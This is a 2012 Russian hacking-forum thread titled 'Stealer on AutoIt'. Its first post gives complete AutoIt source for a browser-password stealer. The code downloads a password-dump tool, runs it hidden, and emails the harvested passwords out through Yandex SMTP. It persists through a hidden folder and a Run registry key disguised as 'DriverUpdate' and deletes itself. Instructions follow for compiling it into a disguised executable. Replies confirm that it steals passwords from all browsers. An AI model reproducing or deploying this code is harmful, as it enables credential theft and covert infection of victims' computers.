1. Пост двух одинаковых тем в разных разделах - бан.
    Скрыть объявление
  2. Появилась архивная версия форума arhiv.xaker.name, где собраны темы с 2007 по 2012 год.
    Скрыть объявление

Стиллер на AutoIt

Тема в разделе "Софт для взлома", создана пользователем Kazig0re, 22 июн 2012.

  1. Kazig0re
    Kazig0re Новичок
    Симпатии:
    0
    Код:
    #NoTrayIcon
    #include <array.au3>
    #include <file.au3>
    #include <inet.au3>
     
    $s=0
    $o=0
    $sArgument = '/600'
    while $s<=1
    $var = _GetIP()
     
    $e=StringCompare($var,"-1")
     
    If Not $e= 0 Then
     
    while $o <=1
     
    ;~  $file=inetget("http://www.nirsoft.net/utils/webbrowserpassview.zip",@TempDir&"\webbrowserpassview.zip")
    if inetget("http://www.nirsoft.net/utils/webbrowserpassview.zip",@TempDir&"\webbrowserpassview.zip") Then
    sleep(1000)
    _Zip_UnzipAll(@TempDir&"\webbrowserpassview.zip",@TempDir&"\ey283gFt")
    sleep(1000)
    ShellExecuteWait(@TempDir&"\ey283gFt\WebBrowserPassView.exe","/stext "&@TempDir&"\ey283gFt\"&@ComputerName&".txt","","",@SW_HIDE)
    sleep(100)
    $str = "http://schemas.microsoft.com/cdo/configuration/"
    $hMAIL = ObjCreate ("CDO.Message")
        With $hMAIL
    ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::{
    ;;;;;;;;;;;;;;;;;;;;;;;; Вносим данные ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
            .From = "Ваш Емаил" ;from e-mail
            .To = "Ваш Емаил" ;to e-mail
            .Subject = @UserName&"- send all File"
            .TextBody = "Passwords Vir"
            .AddAttachment (@TempDir&"\ey283gFt\"&@ComputerName&".txt") ;файл для отправки
        EndWith
        With $hMAIL.Configuration.Fields
            .Item ($str & "sendusing") = 2
            .Item ($str & "smtpserver") = "smtp.yandex.ru" ;SMTP Server
            .Item ($str & "smtpauthenticate") = 1
            .Item ($str & "sendusername") = "Ваш Емаил" ;Login  
            .Item ($str & "sendpassword") = "ваш пароль почты" ;Пароль SMTP-сервера
            .Item ($str & "smtpserverport") =587 ;Порт
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;}
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
     
            .Update
        EndWith
    $hMAIL.Send
     
    $s=5
    $o=5
    EndIf
    WEnd
     
    Else
    [email protected]&"\DriverStores"
    if not @ScriptFullPath<>$de&"\DriverUdate.exe" then 
    dircreate($de)
    FileSetAttrib($de,"+H")
    filecopy(@ScriptFullPath,$de&"\DriverUdate.exe",1)
    _RegRun($sArgument)
    sleep(1000)
    _dels()
    endif
    EndIf
    WEnd
    DirRemove(@TempDir&"\ey283gFt\",1)
    filedelete(@TempDir&"\webbrowserpassview.zip")
    _dels()
    Func _dels() 
    $sTemp = _TempFile(@TempDir, '~', '.bat')
    $sPath = FileGetShortName(@ScriptFullPath)
        $hFile = FileOpen($sTemp, 2)
        FileWriteLine($hFile, '@echo off')
        FileWriteLine($hFile, ':loop')
        FileWriteLine($hFile, 'del ' & $sPath)
        FileWriteLine($hFile, 'if exist ' & $sPath & ' goto loop')
        FileWriteLine($hFile, 'del ' & $sTemp)
        FileClose($hFile)
     
        Run($sTemp, '', @SW_HIDE)
    EndFunc  ;==>_ScriptDestroy
     
     
    If $CmdLine[0] Then
        $iTimer = StringRegExpReplace($CmdLine[1], '[^0-9]', '') * 1000
        $iStart = TimerInit()
        While TimerDiff($iStart) <= $iTimer
            Sleep(250)
        WEnd
    EndIf
     
     
     
    Func _RegRun($s_Argument)
        Local $sRegRun = 'HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
        If Not RegRead($sRegRun, "DriverUpdate") Or RegRead($sRegRun, "DriverUpdate") <> @HomeDrive&"\DriverStores\DriverUdate.exe" & ' ' & $s_Argument Then
            RegWrite($sRegRun, "DriverUpdate", 'REG_SZ', @HomeDrive&"\DriverStores\DriverUdate.exe " & $s_Argument)
        EndIf
    EndFunc  ;==>_RegRun
     
     
    Func _Zip_UnzipAll($hZipFile, $hDestPath, $flag = 1)
     
    Local $DLLChk = _Zip_DllChk()
     
    If $DLLChk <> 0 Then Return SetError($DLLChk, 0, 0);no dll
     
    If not _IsFullPath($hZipFile) then Return SetError(4,0) ;zip file isn't a full path
     
    If Not FileExists($hZipFile) Then Return SetError(2, 0, 0) ;no zip file
     
    If Not FileExists($hDestPath) Then DirCreate($hDestPath)
     
    Local $aArray[1]
     
    $oApp = ObjCreate("Shell.Application")
     
    $oApp.Namespace($hDestPath).CopyHere($oApp.Namespace($hZipFile).Items)
     
    For $item In $oApp.Namespace($hZipFile).Items
     
    _ArrayAdd($aArray, $item)
     
    Next
     
    While 1
     
    If $flag = 1 then _Hide()
     
    If FileExists($hDestPath & "\" & $aArray[UBound($aArray) - 1]) Then
     
    Return SetError(0, 0, 1)
     
    ExitLoop
     
    EndIf
     
    Sleep(500)
     
    WEnd
     
    EndFunc  ;==>_Zip_UnzipAll
     
     
     
     
    Func _Zip_DllChk()
     
    If Not FileExists(@SystemDir & "\zipfldr.dll") Then Return 2
     
    If Not RegRead("HKEY_CLASSES_ROOT\CLSID\{E88DCCE0-B7B3-11d1-A9F0-00AA0060FA31}", "") Then Return 3
     
    Return 0
     
    EndFunc  ;==>_Zip_DllChk
     
    Func _IsFullPath($path)
     
        if StringInStr($path,":\") then
     
            Return True
     
        Else
     
            Return False
     
        EndIf
     
    Endfunc
     
    Func _Hide()
     
    If ControlGetHandle("[CLASS:#32770]", "", "[CLASS:SysAnimate32; INSTANCE:1]") <> "" And WinGetState("[CLASS:#32770]") <> @SW_HIDE Then ;The Window Exists
     
    $hWnd = WinGetHandle("[CLASS:#32770]")
     
    WinSetState($hWnd, "", @SW_HIDE)
     
    EndIf
     
    EndFunc
    1.Копируем всё в блокнот.
    2.Вносим данные yandex аккаунта.
    3.Сохраняем как vir.au3
    4.Устанавливаем AutoIt(Ссылка: http://wikisend.com/download/684796/autoit.exe
    5.Заходим в C:\Program Files\AutoIt3\Aut2Exe\[/COLOR] и открываем Aut2exe
    6.Sourse (Autolt.au3 file) |________________________| Browse - выбираем наш файл vir.au3
    7.Custom Icon (.ico file) |________________________| Browse - выбираем иконку для нашего файла.
    8.Жмём на Convert
    Стиллер готов.
    P.s. желательно иметь аккаунт на yandex.ru с хотя бы 2-х дневной регистрацией. Удачи :af:
     
    Последнее редактирование модератором: 25 июл 2012
    22 июн 2012
  2. chimatii
    chimatii Глобальный модератор
    Симпатии:
    101
    Kazig0re, оформите код программы в тег
    Код:
    
    
    Код:
    
    
     
    22 июн 2012
  3. JIeprekon1467
    JIeprekon1467 Новичок
    Симпатии:
    0
    и что он тырит?
     
    25 июл 2012
  4. ToBapuw_XaKep
    ToBapuw_XaKep Новичок
    Симпатии:
    8
    пароли, друг мой ^^
     
    25 июл 2012
  5. JIeprekon1467
    JIeprekon1467 Новичок
    Симпатии:
    0
    Я знаю что пароли, но паролей много бывает.
    Я спрашивал про программы, от которых он ворует пароли
     
    25 июл 2012
  6. ToBapuw_XaKep
    ToBapuw_XaKep Новичок
    Симпатии:
    8
    от всех браузеров. Может быть не актуальным, потому что браузеры постоянно обновляются, а этот софт - почти никогда
     
    25 июл 2012

Поделиться этой страницей

Загрузка...